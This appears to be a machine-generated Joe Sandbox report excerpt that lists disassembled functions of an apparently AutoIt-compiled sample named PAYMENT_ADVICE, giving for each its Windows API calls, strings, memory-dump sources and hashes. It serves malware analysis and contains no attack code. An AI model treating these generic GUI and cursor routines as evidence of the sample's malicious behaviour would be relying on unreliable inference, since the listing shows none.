                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                              • String ID: 0
                                                              • API String ID: 1073566785-4108050209
                                                              • Opcode ID: f2c360fe055838ddb06b28005336b6491866c2952bd92beb60188ad91768dbcc
                                                              • Instruction ID: 25344ef805854ad5aa27aba7a4de6f86f990aee3ae9c768e6a6a70c40089992e
                                                              • Opcode Fuzzy Hash: f2c360fe055838ddb06b28005336b6491866c2952bd92beb60188ad91768dbcc
                                                              • Instruction Fuzzy Hash: 65E15B75900218AEDB229F64CC84FEE7BB9EF09710F11815EF915EA290DB709E81DF60
                                                              Function 003C488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCursorPos.USER32(?), ref: 003C49CA
                                                              • GetDesktopWindow.USER32 ref: 003C49DF
                                                              • GetWindowRect.USER32(00000000), ref: 003C49E6
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003C4A48
                                                              • DestroyWindow.USER32(?), ref: 003C4A74
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 003C4A9D
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003C4ABB
                                                              • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 003C4AE1
                                                              • SendMessageW.USER32(?,00000421,?,?), ref: 003C4AF6
                                                              • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 003C4B09
                                                              • IsWindowVisible.USER32(?), ref: 003C4B29
                                                              • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 003C4B44
                                                              • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 003C4B58
                                                              • GetWindowRect.USER32(?,?), ref: 003C4B70
                                                              • MonitorFromPoint.USER32(?,?,00000002), ref: 003C4B96
                                                              • GetMonitorInfoW.USER32(00000000,?), ref: 003C4BB0
                                                              • CopyRect.USER32(?,?), ref: 003C4BC7
                                                              • SendMessageW.USER32(?,00000412,00000000), ref: 003C4C32
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                              • String ID: ($0$tooltips_class32
                                                              • API String ID: 698492251-4156429822
                                                              • Opcode ID: c124fea1182b9f13efbeffd44bd55ebb6f450d223f8f15c4de2f1c252b69de8b
                                                              • Instruction ID: 56e7237c23f119d6790b7104de168182d567e414a741727e16111e5922f687ee
                                                              • Opcode Fuzzy Hash: c124fea1182b9f13efbeffd44bd55ebb6f450d223f8f15c4de2f1c252b69de8b
                                                              • Instruction Fuzzy Hash: 19B15871604340AFDB06DF64C898F6ABBE9AF88314F00891DF999DB2A1D771EC05CB95
                                                              Function 003A449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileVersionInfoSizeW.VERSION(?,?), ref: 003A44AC
                                                              • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 003A44D2
                                                              • _wcscpy.LIBCMT ref: 003A4500
                                                              • _wcscmp.LIBCMT ref: 003A450B
                                                              • _wcscat.LIBCMT ref: 003A4521
                                                              • _wcsstr.LIBCMT ref: 003A452C
                                                              • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 003A4548
                                                              • _wcscat.LIBCMT ref: 003A4591
                                                              • _wcscat.LIBCMT ref: 003A4598
                                                              • _wcsncpy.LIBCMT ref: 003A45C3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                              • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                              • API String ID: 699586101-1459072770
                                                              • Opcode ID: cf81e70bcf358abf8c4c4bd1eaacde3b679f1a7d1ad1ce722ebc59d02776c9c9
                                                              • Instruction ID: 0239960c095874f0559db2c14441ff8574abc295f4a180d294694a75e2627a2e
                                                              • Opcode Fuzzy Hash: cf81e70bcf358abf8c4c4bd1eaacde3b679f1a7d1ad1ce722ebc59d02776c9c9
                                                              • Instruction Fuzzy Hash: 0A41F731A002047FDB17AB758C47EFF776CDF82710F00446AFA05EA192EB75AA0197A9
                                                              Function 003427D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 003428BC
                                                              • GetSystemMetrics.USER32(00000007), ref: 003428C4
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 003428EF
                                                              • GetSystemMetrics.USER32(00000008), ref: 003428F7
                                                              • GetSystemMetrics.USER32(00000004), ref: 0034291C
                                                              • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00342939
                                                              • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00342949
                                                              • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0034297C
                                                              • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00342990
                                                              • GetClientRect.USER32(00000000,000000FF), ref: 003429AE
                                                              • GetStockObject.GDI32(00000011), ref: 003429CA
                                                              • SendMessageW.USER32(00000000,00000030,00000000), ref: 003429D5
                                                                • Part of subcall function 00342344: GetCursorPos.USER32(?), ref: 00342357
                                                                • Part of subcall function 00342344: ScreenToClient.USER32(004057B0,?), ref: 00342374
                                                                • Part of subcall function 00342344: GetAsyncKeyState.USER32(00000001), ref: 00342399
                                                                • Part of subcall function 00342344: GetAsyncKeyState.USER32(00000002), ref: 003423A7
                                                              • SetTimer.USER32(00000000,00000000,00000028,00341256), ref: 003429FC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                              • String ID: AutoIt v3 GUI
                                                              • API String ID: 1458621304-248962490
                                                              • Opcode ID: 5e13d0fb0df58568d0c75e1505502a6c71ba262fbc910bbfad95c6849abb21be
                                                              • Instruction ID: 0480966192f2b4a4a9e1861e2bcbf8910786f59a559fd1a1d25d11a7922678f6
                                                              • Opcode Fuzzy Hash: 5e13d0fb0df58568d0c75e1505502a6c71ba262fbc910bbfad95c6849abb21be
                                                              • Instruction Fuzzy Hash: 73B17D7160020ADFDB16EFA8CC45BAE7BB9FB48310F518129FA15EB290DB74A850CF54
                                                              Function 0039A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetClassNameW.USER32(?,?,00000100), ref: 0039A47A
                                                              • __swprintf.LIBCMT ref: 0039A51B
                                                              • _wcscmp.LIBCMT ref: 0039A52E
                                                              • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0039A583
                                                              • _wcscmp.LIBCMT ref: 0039A5BF
                                                              • GetClassNameW.USER32(?,?,00000400), ref: 0039A5F6
                                                              • GetDlgCtrlID.USER32(?), ref: 0039A648
                                                              • GetWindowRect.USER32(?,?), ref: 0039A67E
                                                              • GetParent.USER32(?), ref: 0039A69C
                                                              • ScreenToClient.USER32(00000000), ref: 0039A6A3
                                                              • GetClassNameW.USER32(?,?,00000100), ref: 0039A71D
                                                              • _wcscmp.LIBCMT ref: 0039A731
                                                              • GetWindowTextW.USER32(?,?,00000400), ref: 0039A757
                                                              • _wcscmp.LIBCMT ref: 0039A76B
                                                                • Part of subcall function 0036362C: _iswctype.LIBCMT ref: 00363634
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                              • String ID: %s%u
                                                              • API String ID: 3744389584-679674701
                                                              • Opcode ID: b3da6c3cfd62abdc2121007177da8b53422183fefa59c181f0eabf3b52698550
                                                              • Instruction ID: 48b6ef226fb5e130556d8dabd4b1a451a928b3f921b0c7138a5d0fd7a8f8ab2f
                                                              • Opcode Fuzzy Hash: b3da6c3cfd62abdc2121007177da8b53422183fefa59c181f0eabf3b52698550
                                                              • Instruction Fuzzy Hash: 21A1EF31204B06AFDB16DFA4C885FAAB7E8FF44314F008629F999C6190DB30E955CBD2
                                                              Function 0039AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetClassNameW.USER32(00000008,?,00000400), ref: 0039AF18
                                                              • _wcscmp.LIBCMT ref: 0039AF29
                                                              • GetWindowTextW.USER32(00000001,?,00000400), ref: 0039AF51
                                                              • CharUpperBuffW.USER32(?,00000000), ref: 0039AF6E
                                                              • _wcscmp.LIBCMT ref: 0039AF8C
                                                              • _wcsstr.LIBCMT ref: 0039AF9D
                                                              • GetClassNameW.USER32(00000018,?,00000400), ref: 0039AFD5
                                                              • _wcscmp.LIBCMT ref: 0039AFE5
                                                              • GetWindowTextW.USER32(00000002,?,00000400), ref: 0039B00C
                                                              • GetClassNameW.USER32(00000018,?,00000400), ref: 0039B055
                                                              • _wcscmp.LIBCMT ref: 0039B065
                                                              • GetClassNameW.USER32(00000010,?,00000400), ref: 0039B08D
                                                              • GetWindowRect.USER32(00000004,?), ref: 0039B0F6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                              • String ID: @$ThumbnailClass
                                                              • API String ID: 1788623398-1539354611
                                                              • Opcode ID: 29b805c097c8434ae20ea2f267de2314d3bdb05a317783ab53f54274837f3cda
                                                              • Instruction ID: 1157e603753ef71af6df9e5d7ff6acc8ab7409ba9b3eaf54923688716bc10065
                                                              • Opcode Fuzzy Hash: 29b805c097c8434ae20ea2f267de2314d3bdb05a317783ab53f54274837f3cda
                                                              • Instruction Fuzzy Hash: 8781E1711082059FDF02DF14D985FAABBECEF44314F04856AFD868A096DB30ED49CBA1
                                                              Function 003CC5FE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • DragQueryPoint.SHELL32(?,?), ref: 003CC627
                                                                • Part of subcall function 003CAB37: ClientToScreen.USER32(?,?), ref: 003CAB60
                                                                • Part of subcall function 003CAB37: GetWindowRect.USER32(?,?), ref: 003CABD6
                                                                • Part of subcall function 003CAB37: PtInRect.USER32(?,?,003CC014), ref: 003CABE6
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 003CC690
                                                              • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 003CC69B
                                                              • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 003CC6BE
                                                              • _wcscat.LIBCMT ref: 003CC6EE
                                                              • SendMessageW.USER32(?,000000C2,00000001,?), ref: 003CC705
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 003CC71E
                                                              • SendMessageW.USER32(?,000000B1,?,?), ref: 003CC735
                                                              • SendMessageW.USER32(?,000000B1,?,?), ref: 003CC757
                                                              • DragFinish.SHELL32(?), ref: 003CC75E
                                                              • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 003CC851
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                              • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pb@
                                                              • API String ID: 169749273-4025947017
                                                              • Opcode ID: c8c53b73610f10fa865f64f4581e0e6f60ae117b0a688be5e77d0eb5be8012ee
                                                              • Instruction ID: 5a8b1d16598a4cfc2812773d9fd7a52d09a46ca466512320537ed6e59cb07d6e
                                                              • Opcode Fuzzy Hash: c8c53b73610f10fa865f64f4581e0e6f60ae117b0a688be5e77d0eb5be8012ee
                                                              • Instruction Fuzzy Hash: 47616271508304AFC702EF64DC85EAFBBE9EF89710F00092EF595DA1A1DB70A949CB52
                                                              Function 0039ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                              • API String ID: 1038674560-1810252412
                                                              • Opcode ID: 0725959ff2ca3eb054edf895dcb0fd1b43aa9d9dc4fc0880a18186a765ad4f8c
                                                              • Instruction ID: 3228463c45aba816e77f5f34b689aaf44d84edbdd488293e26ffc04deeb016e1
                                                              • Opcode Fuzzy Hash: 0725959ff2ca3eb054edf895dcb0fd1b43aa9d9dc4fc0880a18186a765ad4f8c
                                                              • Instruction Fuzzy Hash: 1731B031948609ABDF13FA60DE03EFE77A8AB10750F210128F501BD1D6EB517F148A92
                                                              Function 003B4FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadCursorW.USER32(00000000,00007F8A), ref: 003B5013
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 003B501E
                                                              • LoadCursorW.USER32(00000000,00007F03), ref: 003B5029
                                                              • LoadCursorW.USER32(00000000,00007F8B), ref: 003B5034
                                                              • LoadCursorW.USER32(00000000,00007F01), ref: 003B503F
                                                              • LoadCursorW.USER32(00000000,00007F81), ref: 003B504A
                                                              • LoadCursorW.USER32(00000000,00007F88), ref: 003B5055
                                                              • LoadCursorW.USER32(00000000,00007F80), ref: 003B5060
                                                              • LoadCursorW.USER32(00000000,00007F86), ref: 003B506B
                                                              • LoadCursorW.USER32(00000000,00007F83), ref: 003B5076
                                                              • LoadCursorW.USER32(00000000,00007F85), ref: 003B5081
                                                              • LoadCursorW.USER32(00000000,00007F82), ref: 003B508C
                                                              • LoadCursorW.USER32(00000000,00007F84), ref: 003B5097
                                                              • LoadCursorW.USER32(00000000,00007F04), ref: 003B50A2
                                                              • LoadCursorW.USER32(00000000,00007F02), ref: 003B50AD
                                                              • LoadCursorW.USER32(00000000,00007F89), ref: 003B50B8
                                                              • GetCursorInfo.USER32(?), ref: 003B50C8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Cursor$Load$Info
                                                              • String ID:
                                                              • API String ID: 2577412497-0
                                                              • Opcode ID: 44092b76e2756ad7faee56fdf335d07ed7bf3eca9c1c678fff9ea388d694ee98
                                                              • Instruction ID: c6c075561976878960f4d8771deca6c7979fa71bdbc1c826c1d2ad7f320f3aa6
                                                              • Opcode Fuzzy Hash: 44092b76e2756ad7faee56fdf335d07ed7bf3eca9c1c678fff9ea388d694ee98
                                                              • Instruction Fuzzy Hash: 3131E5B1E4831D6ADF119FB68C8999FBFE8FF04754F50452AE50DE7280DA78A5008F91
                                                              Function 003CA1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003CA259
                                                              • DestroyWindow.USER32(?,?), ref: 003CA2D3
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 003CA34D
                                                              • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 003CA36F
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003CA382
                                                              • DestroyWindow.USER32(00000000), ref: 003CA3A4
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00340000,00000000), ref: 003CA3DB
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003CA3F4
                                                              • GetDesktopWindow.USER32 ref: 003CA40D
                                                              • GetWindowRect.USER32(00000000), ref: 003CA414
                                                              • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 003CA42C
                                                              • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 003CA444
                                                                • Part of subcall function 003425DB: GetWindowLongW.USER32(?,000000EB), ref: 003425EC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                              • String ID: 0$tooltips_class32
                                                              • API String ID: 1297703922-3619404913
                                                              • Opcode ID: 4e999e06d5de6f711affb55374230faf22710f20e9771201c0c05e0cf4933495
                                                              • Instruction ID: 183132c8d9a2896082bb3c631a674adf18de68d922a99f7545d9d89c4496c256
                                                              • Opcode Fuzzy Hash: 4e999e06d5de6f711affb55374230faf22710f20e9771201c0c05e0cf4933495
                                                              • Instruction Fuzzy Hash: 14717971140608AFDB26DF28CC49F6A7BEAFB88304F05452DF985DB2A0C770A916CB56
                                                              Function 003C4392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?), ref: 003C4424
                                                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 003C446F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharMessageSendUpper
                                                              • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                              • API String ID: 3974292440-4258414348
                                                              • Opcode ID: 1979577d845dec87a38e9ee9efe4bb6a7640885ae93b9e22e4219beefef05a83
                                                              • Instruction ID: cfd4dd0522a18af5a5a3148432155313e98cc461b321a095b079440829a9f678
                                                              • Opcode Fuzzy Hash: 1979577d845dec87a38e9ee9efe4bb6a7640885ae93b9e22e4219beefef05a83
